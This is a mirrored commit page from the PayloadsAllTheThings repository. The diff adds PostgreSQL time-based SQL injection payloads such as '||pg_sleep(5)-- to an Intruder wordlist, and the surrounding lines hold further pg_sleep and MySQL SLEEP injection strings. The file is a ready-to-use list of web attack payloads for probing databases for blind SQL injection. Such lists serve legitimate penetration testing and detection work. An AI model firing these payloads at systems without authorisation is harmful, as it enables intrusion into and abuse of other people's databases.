gitea-mirror/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2025-12-12 15:49:38 -08:00
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #779 from florianamette/patch-1

Browse Source 
Add support for `||` (concatenation) operator in PostgreSQL for time based SQL injection
This commit is contained in:
Swissky
2025-05-22 22:32:26 +02:00
committed by GitHub
parent bb8cab1ea3 eca827005a
commit aaf6bdf394
1 changed files with 10 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

10
SQL Injection/Intruder/Generic_TimeBased.txt
View File

@@ -40,6 +40,16 @@ pg_sleep(5)--
1)) or pg_sleep(5)-- 1)) or pg_sleep(5)--
")) or pg_sleep(5)-- ")) or pg_sleep(5)--
')) or pg_sleep(5)-- ')) or pg_sleep(5)--
||pg_sleep(5)--
1||pg_sleep(5)--
"||pg_sleep(5)--
'||pg_sleep(5)--
1)||pg_sleep(5)--
")||pg_sleep(5)--
')||pg_sleep(5)--
1))||pg_sleep(5)--
"))||pg_sleep(5)--
'))||pg_sleep(5)--
AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe
AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'=' AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'='
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP) AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)